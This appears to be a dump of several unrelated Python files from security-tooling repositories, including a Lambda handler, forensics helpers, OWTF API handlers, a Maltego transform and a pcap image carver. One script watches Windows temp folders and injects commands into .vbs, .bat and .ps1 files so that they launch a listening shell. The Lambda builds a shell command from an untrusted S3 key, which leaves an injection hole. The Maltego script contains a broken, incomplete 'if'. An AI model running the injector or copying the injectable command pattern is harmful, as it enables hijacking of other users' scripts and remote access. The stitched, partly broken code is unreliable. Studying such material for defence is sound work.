encoding: encoding used to encode numeric character references by
.get_text() and .get_compressed_text() ("ascii" by default)
entitydefs: mapping like {"amp": "&", ...} containing HTML entity
definitions (a sensible default is used). This is used to unescape
entities in .get_text() (and .get_compressed_text()) and attribute
values. If the encoding can not represent the character, the entity
reference is left unescaped. Note that entity references (both
numeric - e.g. { or ઼ - and non-numeric - e.g. &) are
unescaped in attribute values and the return value of .get_text(), but
not in data outside of tags. Instead, entity references outside of
tags are represented as tokens. This is a bit odd, it's true :-/
If the element name of an opening tag matches a key in the textify
mapping then that tag is converted to text. The corresponding value is
used to specify which tag attribute to obtain the text from. textify
maps from element names to either:
- an HTML attribute name, in which case the HTML attribute value is
used as its text value along with the element name in square
brackets (e.g. "alt text goes here[IMG]", or, if the alt attribute
were missing, just "[IMG]")
- a callable object (e.g. a function) which takes a Token and returns
the string to be used as its text value
If textify has no key for an element name, nothing is substituted for
the opening tag.
Public attributes:
encoding and textify: see above
"""
self._fh = fh
self._tokenstack = [] # FIFO
self.textify = textify
self.encoding = encoding
if entitydefs is None:
entitydefs = htmlentitydefs.name2codepoint
self._entitydefs = entitydefs
def __iter__(self): return self
def tags(self, *names):
return iter_until_exception(self.get_tag, NoMoreTokensError, *names)
def tokens(self, *tokentypes):
return iter_until_exception(self.get_token, NoMoreTokensError,
*tokentypes)
def next(self):
try:
return self.get_token()
except NoMoreTokensError:
raise StopIteration()
def get_token(self, *tokentypes):
"""Pop the next Token object from the stack of parsed tokens.
If arguments are given, they are taken to be token types in which the
caller is interested: tokens representing other elements will be
skipped. Element names must be given in lower case.
Raises NoMoreTokensError.
"""
while 1:
while self._tokenstack:
token = self._tokenstack.pop(0)
if tokentypes:
if token.type in tokentypes:
return token
else:
return token
data = self._fh.read(self.chunk)
if not data:
raise NoMoreTokensError()
self.feed(data)
def unget_token(self, token):
"""Push a Token back onto the stack."""
self._tokenstack.insert(0, token)
def get_tag(self, *names):
"""Return the next Token that represents an opening or closing tag.
If arguments are given, they are taken to be element names in which the
caller is interested: tags representing other elements will be skipped.
Element names must be given in lower case.
Raises NoMoreTokensError.
"""
while 1:
tok = self.get_token()
if tok.type not in ["starttag", "endtag", "startendtag"]:
continue
if names:
if tok.data in names:
return tok
else:
return tok
def get_text(self, endat=None):
"""Get some text.
endat: stop reading text at this tag (the tag is included in the
returned text); endtag is a tuple (type, name) where type is
"starttag", "endtag" or "startendtag", and name is the element name of
the tag (element names must be given in lower case)
If endat is not given, .get_text() will stop at the next opening or
closing tag, or when there are no more tokens (no exception is raised).
Note that .get_text() includes the text representation (if any) of the
opening tag, but pushes the opening tag back onto the stack. As a
result, if you want to call .get_text() again, you need to call
.get_tag() first (unless you want an empty string returned when you
next call .get_text()).
Entity references are translated using the value of the entitydefs
constructor argument (a mapping from names to characters like that
provided by the standard module htmlentitydefs). Named entity
references that are not in this mapping are left unchanged.
The textify attribute is used to translate opening tags into text: see
the class docstring.
"""
text = []
tok = None
while 1:
try:
tok = self.get_token()
except NoMoreTokensError:
# unget last token (not the one we just failed to get)
if tok: self.unget_token(tok)
break
if tok.type == "data":
text.append(tok.data)
elif tok.type == "entityref":
t = unescape("&%s;"%tok.data, self._entitydefs, self.encoding)
text.append(t)
elif tok.type == "charref":
t = unescape_charref(tok.data, self.encoding)
text.append(t)
elif tok.type in ["starttag", "endtag", "startendtag"]:
tag_name = tok.data
if tok.type in ["starttag", "startendtag"]:
alt = self.textify.get(tag_name)
if alt is not None:
if callable(alt):
text.append(alt(tok))
elif tok.attrs is not None:
for k, v in tok.attrs:
if k == alt:
text.append(v)
text.append("[%s]" % tag_name.upper())
if endat is None or endat == (tok.type, tag_name):
self.unget_token(tok)
break
return "".join(text)
def get_compressed_text(self, *args, **kwds):
"""
As .get_text(), but collapses each group of contiguous whitespace to a
single space character, and removes all initial and trailing
whitespace.
"""
text = self.get_text(*args, **kwds)
text = text.strip()
return self.compress_re.sub(" ", text)
def handle_startendtag(self, tag, attrs):
self._tokenstack.append(Token("startendtag", tag, attrs))
def handle_starttag(self, tag, attrs):
self._tokenstack.append(Token("starttag", tag, attrs))
def handle_endtag(self, tag):
self._tokenstack.append(Token("endtag", tag))
def handle_charref(self, name):
self._tokenstack.append(Token("charref", name))
def handle_entityref(self, name):
self._tokenstack.append(Token("entityref", name))
def handle_data(self, data):
self._tokenstack.append(Token("data", data))
def handle_comment(self, data):
self._tokenstack.append(Token("comment", data))
def handle_decl(self, decl):
self._tokenstack.append(Token("decl", decl))
def unknown_decl(self, data):
# XXX should this call self.error instead?
#self.error("unknown declaration: " + `data`)
self._tokenstack.append(Token("decl", data))
def handle_pi(self, data):
self._tokenstack.append(Token("pi", data))
def unescape_attr(self, name):
return unescape(name, self._entitydefs, self.encoding)
def unescape_attrs(self, attrs):
escaped_attrs = []
for key, val in attrs:
escaped_attrs.append((key, self.unescape_attr(val)))
return escaped_attrs
class PullParser(_AbstractParser, HTMLParser.HTMLParser):
def __init__(self, *args, **kwds):
HTMLParser.HTMLParser.__init__(self)
_AbstractParser.__init__(self, *args, **kwds)
def unescape(self, name):
# Use the entitydefs passed into constructor, not
# HTMLParser.HTMLParser's entitydefs.
return self.unescape_attr(name)
class TolerantPullParser(_AbstractParser, sgmllib.SGMLParser):
def __init__(self, *args, **kwds):
sgmllib.SGMLParser.__init__(self)
_AbstractParser.__init__(self, *args, **kwds)
def unknown_starttag(self, tag, attrs):
attrs = self.unescape_attrs(attrs)
self._tokenstack.append(Token("starttag", tag, attrs))
def unknown_endtag(self, tag):
self._tokenstack.append(Token("endtag", tag))
def _test():
import doctest, _pullparser
return doctest.testmod(_pullparser)
if __name__ == "__main__":
_test()
| 35.614796 | 79 | 0.574624 |
Hands-On-AWS-Penetration-Testing-with-Kali-Linux | import boto3
import subprocess
import urllib
def lambda_handler(event, context):
try:
s3 = boto3.client('s3')
print(s3.list_buckets())
except:
pass
s3 = boto3.client('s3')
for record in event['Records']:
try:
bucket_name = record['s3']['bucket']['name']
object_key = record['s3']['object']['key']
object_key = urllib.parse.unquote_plus(object_key)
if object_key[-4:] != '.zip':
print('Not a zip file, not tagging')
continue
response = s3.get_object(
Bucket=bucket_name,
Key=object_key
)
file_download_path = f'/tmp/{object_key.split("/")[-1]}'
with open(file_download_path, 'wb+') as file:
file.write(response['Body'].read())
file_count = subprocess.check_output(
f'zipinfo {file_download_path} | grep ^- | wc -l',
shell=True,
stderr=subprocess.STDOUT
).decode().rstrip()
s3.put_object_tagging(
Bucket=bucket_name,
Key=object_key,
Tagging={
'TagSet': [
{
'Key': 'NumOfFilesInZip',
'Value': file_count
}
]
}
)
except Exception as e:
print(f'Error on object {object_key} in bucket {bucket_name}: {e}')
return | 28.566038 | 79 | 0.448276 |
cybersecurity-penetration-testing |
'''
Copyright (c) 2016 Chet Hosmer
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial
portions of the Software.
Script Purpose: Python Template for MPE+ Integration
Script Version: 1.0
Script Author: C.Hosmer
Script Revision History:
Version 1.0 April 2016
'''
# Script Module Importing
# Python Standard Library Modules
import os # Operating/Filesystem Module
import time # Basic Time Module
import logging # Script Logging
from sys import argv # The systems argument vector, in Python this is
# a list of elements from the command line
# Import 3rd Party Modules
# End of Script Module Importing
# Script Constants
'''
Python does not support constants directly
however, by initializing variables here and
specifying them as UPPER_CASE you can make your
intent known
'''
# General Constants
SCRIPT_NAME = "Script: MPE+ Template"
SCRIPT_VERSION = "Version 1.0"
SCRIPT_AUTHOR = "Author: C. Hosmer, Python Forensics"
SCRIPT_LOG = "./Log.txt"
# LOG Constants used as input to LogEvent Function
LOG_DEBUG = 0 # Debugging Event
LOG_INFO = 1 # Information Event
LOG_WARN = 2 # Warning Event
LOG_ERR = 3 # Error Event
LOG_CRIT = 4 # Critical Event
LOG_OVERWRITE = True # Set this contstant to True if the SCRIPT_LOG
# should be overwritten, False if not
# End of Script Constants
# Initialize Forensic Logging
try:
print os.path.curdir
# If LOG should be overwritten before
# each run, the remove the old log
if LOG_OVERWRITE:
# Verify that the log exists before removing
if os.path.exists(SCRIPT_LOG):
os.remove(SCRIPT_LOG)
# Initialize the Log include the Level and message
logging.basicConfig(filename=SCRIPT_LOG, format='%(levelname)s\t:%(message)s', level=logging.DEBUG)
except:
print ("Failed to initialize Logging")
quit()
# End of Forensic Log Initialization
# Script Functions
'''
If you script will contain functions then insert them
here, before the execution of the main script. This
will ensure that the functions will be callable from
anywhere in your script
'''
# Function: GetTime()
#
# Returns a string containing the current time
#
# Script will use the local system clock, time, date and timezone
# to calcuate the current time. Thus you should sync your system
# clock before using this script
#
# Input: timeStyle = 'UTC', 'LOCAL', the function will default to
# UTC Time if you pass in nothing.
def GetTime(timeStyle = "UTC"):
if timeStyle == 'UTC':
return ('UTC Time: ', time.asctime(time.gmtime(time.time())))
else:
return ('LOC Time: ', time.asctime(time.localtime(time.time())))
# End GetTime Function ============================
# Function: LogEvent()
#
# Logs the event message and specified type
# Input:
# eventType: LOG_INFO, LOG_WARN, LOG_ERR, LOG_CRIT or LOG_DEBUG
# eventMessage : string containing the message to be logged
def LogEvent(eventType, eventMessage):
if type(eventMessage) == str:
try:
timeStr = GetTime('UTC')
# Combine current Time with the eventMessage
# You can specify either 'UTC' or 'LOCAL'
# Based on the GetTime parameter
eventMessage = str(timeStr)+": "+eventMessage
if eventType == LOG_INFO:
logging.info(eventMessage)
elif eventType == LOG_DEBUG:
logging.debug(eventMessage)
elif eventType == LOG_WARN:
logging.warning(eventMessage)
elif eventType == LOG_ERR:
logging.error(eventMessage)
elif eventType == LOG_CRIT:
logging.critical(eventMessage)
else:
logging.info(eventMessage)
except:
logging.warn("Event messages must be strings")
else:
logging.warn('Received invalid event message')
# End LogEvent Function =========================
# Main Script Starts Here
#
# Script Overview
#
# The purpose of this script it to provide an example
# script that demonstrate and leverage key capabilities
# of Python that provides direct value to the
# forensic investigator.
if __name__ == '__main__':
LogEvent(LOG_INFO, SCRIPT_NAME)
LogEvent(LOG_INFO, SCRIPT_VERSION)
LogEvent(LOG_INFO, "Script Started")
# Print Basic Script Information
# Parse the Command Line Arguments
# Try to parse the command line argument provided by MPE+
# Obtain the command line arguments using
# the system argument vector
# For MPE+ Scripts the length of the argument vector is
# always 2 scriptName, path
if len(argv) == 2:
scriptName, path = argv
else:
LogEvent(LOG_INFO, argv + " Invalid Command line")
quit()
LogEvent(LOG_INFO,"Command Line Argument Vector")
LogEvent(LOG_INFO,"Script Name: " + scriptName)
LogEvent(LOG_INFO,"Script Path: " + path)
# Verify the path exists and determine
# the path type
if os.path.exists(path):
LogEvent(LOG_INFO,"Path Exists")
if os.path.isdir(path):
LogEvent(LOG_INFO,"Path is a directory")
elif os.path.isfile(path):
LogEvent(LOG_INFO,"Path is a file")
else:
LogEvent(LOG_ERR, path + " is invalid")
else:
LogEvent(LOG_ERR, path + " Does not exist")
with open(SCRIPT_LOG, 'r') as logData:
for eachLine in logData:
print(eachLine)
| 28.790698 | 104 | 0.621955 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os, sys, subprocess, hashlib
def get_apps():
# dumping the list of installed apps from the device
print "Dumping apps meta data ..."
meta = subprocess.Popen(['adb', 'shell', 'ls', '-l', '/data/app'],
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
meta.wait()
apps = []
while True:
line = meta.stdout.readline()
if line != '':
name = line.split(' ')[-1].rstrip()
date = line.split(' ')[-3]
time = line.split(' ')[-2]
if name.split('.')[-1] == 'apk':
app = [name, date, time]
else:
continue
else:
break
apps.append(app)
return apps
def dump_apps(apps, backup_dir):
# dumping the apps from the device
print "Dumping the apps ..."
for app in apps:
app = app[0]
subprocess.Popen(['adb', 'pull', '/data/app/' + app, backup_dir],
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
def get_hashes(apps, backup_dir):
# calculating the hashes
print "Calculating the sha256 hashes ..."
meta = []
for app in apps:
try:
sha256 = hashlib.sha256(open(backup_dir + '/' + app[0], 'rb').read()).hexdigest()
md5 = hashlib.md5(open(backup_dir + '/' + app[0], 'rb').read()).hexdigest()
app.append(sha256)
app.append(md5)
meta.append(app)
except:
continue
return meta
if __name__ == '__main__':
# check if device is connected and adb is running as root
if subprocess.Popen(['adb', 'get-state'], stdout=subprocess.PIPE).communicate(0)[0].split("\n")[0] == "unknown":
print "no device connected - exiting..."
sys.exit(2)
# starting to create the output directory
backup_dir = sys.argv[1]
try:
os.stat(backup_dir)
except:
os.mkdir(backup_dir)
apps = get_apps()
dump_apps(apps, backup_dir)
meta = get_hashes(apps, backup_dir)
# printing the list of installed apps
for app in meta:
print "\033[0;32m" + ' '.join(app) + "\033[m" | 28.474747 | 116 | 0.60096 |
owtf | """
owtf.api.handlers.work
~~~~~~~~~~~~~~~~~~~~~~
"""
from urllib import parse
import tornado.gen
import tornado.httpclient
import tornado.web
from owtf.api.handlers.base import APIRequestHandler
from owtf.api.utils import _filter_headers
from owtf.lib import exceptions
from owtf.lib.exceptions import APIError
from owtf.managers.plugin import get_all_plugin_dicts
from owtf.managers.target import get_target_config_dicts
from owtf.managers.worker import worker_manager
from owtf.managers.worklist import (
add_work,
delete_all_work,
get_all_work,
get_work,
patch_work,
pause_all_work,
remove_work,
resume_all_work,
search_all_work,
)
from owtf.settings import (
ALLOWED_METHODS,
ALLOWED_ORIGINS,
SEND_CREDENTIALS,
SIMPLE_HEADERS,
)
from owtf.utils.strings import str2bool
from owtf.api.handlers.jwtauth import jwtauth
__all__ = ["WorkerHandler", "WorklistHandler", "WorklistSearchHandler"]
@jwtauth
class WorkerHandler(APIRequestHandler):
"""Manage workers."""
SUPPORTED_METHODS = ["GET", "POST", "DELETE", "OPTIONS"]
def set_default_headers(self):
self.add_header("Access-Control-Allow-Origin", "*")
self.add_header("Access-Control-Allow-Methods", "GET, POST, DELETE")
def get(self, worker_id=None, action=None):
"""Get all workers by ID.
**Example request**:
.. sourcecode:: http
GET /api/v1/workers/ HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost:8009
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, DELETE
Content-Type: application/json
{
"status": "success",
"data": [
{
"busy": false,
"name": "Worker-1",
"start_time": "NA",
"work": [],
"worker": 43775,
"paused": false,
"id": 1
},
{
"busy": false,
"name": "Worker-2",
"start_time": "NA",
"work": [],
"worker": 43778,
"paused": false,
"id": 2
},
{
"busy": false,
"name": "Worker-3",
"start_time": "NA",
"work": [],
"worker": 43781,
"paused": false,
"id": 3
},
{
"busy": false,
"name": "Worker-4",
"start_time": "NA",
"work": [],
"worker": 43784,
"paused": false,
"id": 4
}
]
}
"""
if not worker_id:
self.success(worker_manager.get_worker_details())
try:
if worker_id and (not action):
self.success(worker_manager.get_worker_details(int(worker_id)))
if worker_id and action:
if int(worker_id) == 0:
getattr(worker_manager, "{}_all_workers".format(action))()
getattr(worker_manager, "{}_worker".format(action))(int(worker_id))
except exceptions.InvalidWorkerReference:
raise APIError(400, "Invalid worker referenced")
def post(self, worker_id=None, action=None):
"""Add a new worker.
**Example request**:
.. sourcecode:: http
POST /api/v1/workers/ HTTP/1.1
Origin: http://localhost:8009
Content-Length: 0
**Example response**:
.. sourcecode:: http
HTTP/1.1 201 Created
Content-Length: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, DELETE
Content-Type: application/json
{
"status": "success",
"data": null
}
"""
if worker_id or action:
raise tornado.web.HTTPError(400)
worker_manager.create_worker()
self.set_status(201) # Stands for "201 Created"
self.success(None)
def options(self, worker_id=None, action=None):
"""OPTIONS check (pre-flight) for CORS.
**Example request**:
.. sourcecode:: http
OPTIONS /api/v1/workers/1 HTTP/1.1
Host: localhost:8010
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Access-Control-Request-Method: DELETE
Origin: http://localhost:8009
**Example response**:
.. sourcecode:: http
HTTP/1.1 204 No Content
Content-Length: 0
Access-Control-Allow-Origin: http://localhost:8009, http://localhost:8010
Access-Control-Allow-Methods: GET, POST, DELETE
Content-Type: text/html; charset=UTF-8
"""
self.set_header("Allow", ",".join(ALLOWED_METHODS))
self.set_status(204)
if "Origin" in self.request.headers:
if self._cors_preflight_checks():
self._build_preflight_response(self.request.headers)
else:
self.set_status(403)
self.finish()
def _cors_preflight_checks(self):
try:
origin = self.request.headers["Origin"]
method = self.request.headers["Access-Control-Request-Method"]
headers = self.request.headers.get("Access-Control-Request-Headers", "")
except KeyError:
return False
headers = _filter_headers(headers, SIMPLE_HEADERS)
return origin in ALLOWED_ORIGINS and method in ALLOWED_METHODS and len(headers) == 0
def _build_preflight_response(self, headers):
self.set_header("Access-Control-Allow-Origin", headers["Origin"])
self.set_header("Access-Control-Allow-Methods", ",".join(ALLOWED_METHODS))
self.set_header("Access-Control-Allow-Headers", ",".join(headers.keys() - SIMPLE_HEADERS))
if SEND_CREDENTIALS:
self.set_header("Access-Control-Allow-Credentials", "true")
def delete(self, worker_id=None, action=None):
"""Delete a worker.
**Example request**:
.. sourcecode:: http
DELETE /api/v1/workers/1 HTTP/1.1
Origin: http://localhost:8009
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Length: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, DELETE
Content-Type: application/json
{
"status": "success",
"data": null
}
"""
if not worker_id and action:
raise APIError(400, "Needs worker id")
try:
worker_manager.delete_worker(int(worker_id))
self.success(None)
except exceptions.InvalidWorkerReference:
raise APIError(400, "Invalid worker referenced")
@jwtauth
class WorklistHandler(APIRequestHandler):
"""Handle the worklist."""
SUPPORTED_METHODS = ["GET", "POST", "DELETE", "PATCH"]
def get(self, work_id=None, action=None):
"""Get worklist
**Example request**:
.. sourcecode:: http
GET /api/v1/worklist/ HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost:8009
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, DELETE
Content-Type: application/json
{
"status": "success",
"data": [
{
"id": 10,
"active": true,
"target": {
"top_url": "https://google.com:443",
"top_domain": "com",
"target_url": "https://google.com",
"max_user_rank": -1,
"url_scheme": "https",
"host_path": "google.com",
"ip_url": "https://104.28.0.9",
"host_ip": "104.28.0.9",
"max_owtf_rank": -1,
"port_number": "443",
"host_name": "google.com",
"alternative_ips": "['104.28.1.9']",
"scope": true,
"id": 2
},
"plugin": {
"file": "smb@PTES-009.py",
"group": "network",
"attr": null,
"title": "Smb",
"code": "PTES-009",
"key": "active@PTES-009",
"descrip": " SMB Probing ",
"min_time": null,
"type": "active",
"name": "smb"
}
}
]
}
"""
try:
if work_id is None:
criteria = dict(self.request.arguments)
self.success(get_all_work(self.session, criteria))
else:
self.success(get_work(self.session, (work_id)))
except exceptions.InvalidParameterType:
raise APIError(400, "Invalid parameter type provided")
except exceptions.InvalidWorkReference:
raise APIError(400, "Invalid worker referenced")
def post(self, work_id=None, action=None):
"""Add plugins for a target.
**Example request**:
.. sourcecode:: http
POST /api/v1/worklist/ HTTP/1.1
Origin: http://localhost:8009
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
group=web&type=external&id=5&force_overwrite=true
**Example response**:
.. sourcecode:: http
HTTP/1.1 201 Created
Content-Length: 0
Content-Type: application/json
{
"status": "success",
"data": null
}
"""
if work_id is not None or action is not None:
raise APIError(400, "worker_id and action should be None")
try:
plugin_data = self.get_argument("plugin_data")
# Parsing the data to the required format by filter_data
filter_data = dict(parse.parse_qs(plugin_data))
if not filter_data:
raise APIError(400, "Arguments should not be null")
if filter_data["id"]:
filter_data["id"] = filter_data["id"][0].split(",")
plugin_list = get_all_plugin_dicts(self.session, filter_data)
target_list = get_target_config_dicts(self.session, filter_data)
if not plugin_list:
raise APIError(400, "Plugin list should not be empty")
if not target_list:
raise APIError(400, "Target list should not be empty")
force_overwrite = str2bool(filter_data["force_overwrite"][0])
add_work(self.session, target_list, plugin_list, force_overwrite=force_overwrite)
self.set_status(201)
self.success(None)
except exceptions.InvalidTargetReference:
raise APIError(400, "Invalid target reference provided")
except exceptions.InvalidParameterType:
raise APIError(400, "Invalid parameter type provided")
def delete(self, work_id=None, action=None):
"""Delete work from the worklist queue.
**Example request**:
.. sourcecode:: http
DELETE /api/v1/worklist/207 HTTP/1.1
Origin: http://localhost:8009
X-Requested-With: XMLHttpRequest
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"data": null
}
"""
if work_id is None:
raise APIError(400, "work_id should not be None")
if action is not None:
raise APIError(400, "action should be None")
try:
work_id = int(work_id)
if work_id != 0:
remove_work(self.session, work_id)
self.set_status(200)
else:
delete_all_work(self.session)
self.success(None)
except exceptions.InvalidTargetReference:
raise APIError(400, "Invalid target reference provided")
except exceptions.InvalidParameterType:
raise APIError(400, "Invalid parameter type provided")
except exceptions.InvalidWorkReference:
raise APIError(400, "Invalid worker referenced")
def patch(self, work_id=None, action=None):
"""Resume or pause the work in the worklist.
**Example request**:
.. sourcecode:: http
PATCH /api/v1/worklist/212/pause HTTP/1.1
Host: localhost:8009
Accept: */*
Origin: http://localhost:8009
X-Requested-With: XMLHttpRequest
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"data": null
}
"""
if work_id is None:
raise APIError(400, "work_id should not be None")
if action is None:
raise APIError(400, "action should be None")
try:
work_id = int(work_id)
if work_id != 0: # 0 is like broadcast address
if action == "resume":
patch_work(self.session, work_id, active=True)
elif action == "pause":
patch_work(self.session, work_id, active=False)
else:
if action == "pause":
pause_all_work(self.session)
elif action == "resume":
resume_all_work(self.session)
self.success(None)
except exceptions.InvalidWorkReference:
raise APIError(400, "Invalid worker referenced")
@jwtauth
class WorklistSearchHandler(APIRequestHandler):
"""Search worklist."""
SUPPORTED_METHODS = ["GET"]
def get(self):
"""
**Example request**:
.. sourcecode:: http
GET /api/v1/worklist/search/?limit=100&offset=0&target_url=google.com HTTP/1.1
Host: localhost:8009
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
**Example response**:
.. sourcecode:: http
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
{
"status": "success",
"data": {
"records_total": 0,
"records_filtered": 0,
"data": []
}
}
"""
try:
criteria = dict(self.request.arguments)
criteria["search"] = True
self.success(search_all_work(self.session, criteria))
except exceptions.InvalidParameterType:
raise APIError(400, "Invalid parameter type provided")
| 31.270541 | 98 | 0.498261 |
cybersecurity-penetration-testing | # Modified example that is originally given here:
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
import tempfile
import threading
import win32file
import win32con
import os
# these are the common temp file directories
dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]
# file modification constants
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
# extension based code snippets to inject
file_types = {}
command = “C:\\WINDOWS\\TEMP\\bhpnet.exe –l –p 9999 –c”
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % command]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]
file_types['.ps1'] = ["\r\n#bhpmarker","Start-Process \"%s\"" % command]
def inject_code(full_filename,extension,contents):
# is our marker already in the file?
if file_types[extension][0] in contents:
return
# no marker let's inject the marker and code
full_contents = file_types[extension][0]
full_contents += file_types[extension][1]
full_contents += contents
fd = open(full_filename,"wb")
fd.write(full_contents)
fd.close()
print "[\o/] Injected code."
return
def start_monitor(path_to_watch):
# we create a thread for each monitoring run
FILE_LIST_DIRECTORY = 0x0001
h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None)
while 1:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_SIZE |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY,
None,
None
)
for action,file_name in results:
full_filename = os.path.join(path_to_watch, file_name)
if action == FILE_CREATED:
print "[ + ] Created %s" % full_filename
elif action == FILE_DELETED:
print "[ - ] Deleted %s" % full_filename
elif action == FILE_MODIFIED:
print "[ * ] Modified %s" % full_filename
# dump out the file contents
print "[vvv] Dumping contents..."
try:
fd = open(full_filename,"rb")
contents = fd.read()
fd.close()
print contents
print "[^^^] Dump complete."
except:
print "[!!!] Failed."
filename,extension = os.path.splitext(full_filename)
if extension in file_types:
inject_code(full_filename,extension,contents)
elif action == FILE_RENAMED_FROM:
print "[ > ] Renamed from: %s" % full_filename
elif action == FILE_RENAMED_TO:
print "[ < ] Renamed to: %s" % full_filename
else:
print "[???] Unknown: %s" % full_filename
except:
pass
for path in dirs_to_monitor:
monitor_thread = threading.Thread(target=start_monitor,args=(path,))
print "Spawning monitoring thread for path: %s" % path
monitor_thread.start()
| 32.830508 | 107 | 0.527938 |
Python-Penetration-Testing-for-Developers | import urllib2
from bs4 import BeautifulSoup
import sys
import time
tarurl = sys.argv[1]
if tarurl[-1] == "/":
tarurl = tarurl[:-1]
print"<MaltegoMessage>"
print"<MaltegoTransformResponseMessage>"
print" <Entities>"
url = urllib2.urlopen(tarurl).read()
soup = BeautifulSoup(url)
for line in soup.find_all('a'):
newline = line.get('href')
if newline[:4] == "http":
print"<Entity Type=\"maltego.Domain\">"
print"<Value>"+str(newline)+"</Value>"
print"</Entity>"
elif newline[:1] == "/":
combline = tarurl+newline
if
print"<Entity Type=\"maltego.Domain\">"
print"<Value>"+str(combline)+"</Value>"
print"</Entity>"
print" </Entities>"
print"</MaltegoTransformResponseMessage>"
print"</MaltegoMessage>" | 23.931034 | 42 | 0.684211 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
cybersecurity-penetration-testing | import re
import zlib
import cv2
from scapy.all import *
pictures_directory = "pic_carver/pictures"
faces_directory = "pic_carver/faces"
pcap_file = "bhp.pcap"
def face_detect(path,file_name):
img = cv2.imread(path)
cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))
if len(rects) == 0:
return False
rects[:, 2:] += rects[:, :2]
# highlight the faces in the image
for x1,y1,x2,y2 in rects:
cv2.rectangle(img,(x1,y1),(x2,y2),(127,255,0),2)
cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)
return True
def get_http_headers(http_payload):
try:
# split the headers off if it is HTTP traffic
headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]
# break out the headers
headers = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers_raw))
except:
return None
if "Content-Type" not in headers:
return None
return headers
def extract_image(headers,http_payload):
image = None
image_type = None
try:
if "image" in headers['Content-Type']:
# grab the image type and image body
image_type = headers['Content-Type'].split("/")[1]
image = http_payload[http_payload.index("\r\n\r\n")+4:]
# if we detect compression decompress the image
try:
if "Content-Encoding" in headers.keys():
if headers['Content-Encoding'] == "gzip":
image = zlib.decompress(image,16+zlib.MAX_WBITS)
elif headers['Content-Encoding'] == "deflate":
image = zlib.decompress(image)
except:
pass
except:
return None,None
return image,image_type
def http_assembler(pcap_file):
carved_images = 0
faces_detected = 0
a = rdpcap(pcap_file)
sessions = a.sessions()
for session in sessions:
http_payload = ""
for packet in sessions[session]:
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
# reassemble the stream into a single buffer
http_payload += str(packet[TCP].payload)
except:
pass
headers = get_http_headers(http_payload)
if headers is None:
continue
image,image_type = extract_image(headers,http_payload)
if image is not None and image_type is not None:
# store the image
file_name = "%s-pic_carver_%d.%s" % (pcap_file,carved_images,image_type)
fd = open("%s/%s" % (pictures_directory,file_name),"wb")
fd.write(image)
fd.close()
carved_images += 1
# now attempt face detection
try:
result = face_detect("%s/%s" % (pictures_directory,file_name),file_name)
if result is True:
faces_detected += 1
except:
pass
return carved_images, faces_detected
carved_images, faces_detected = http_assembler(pcap_file)
print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected | 21.823077 | 92 | 0.634525 |
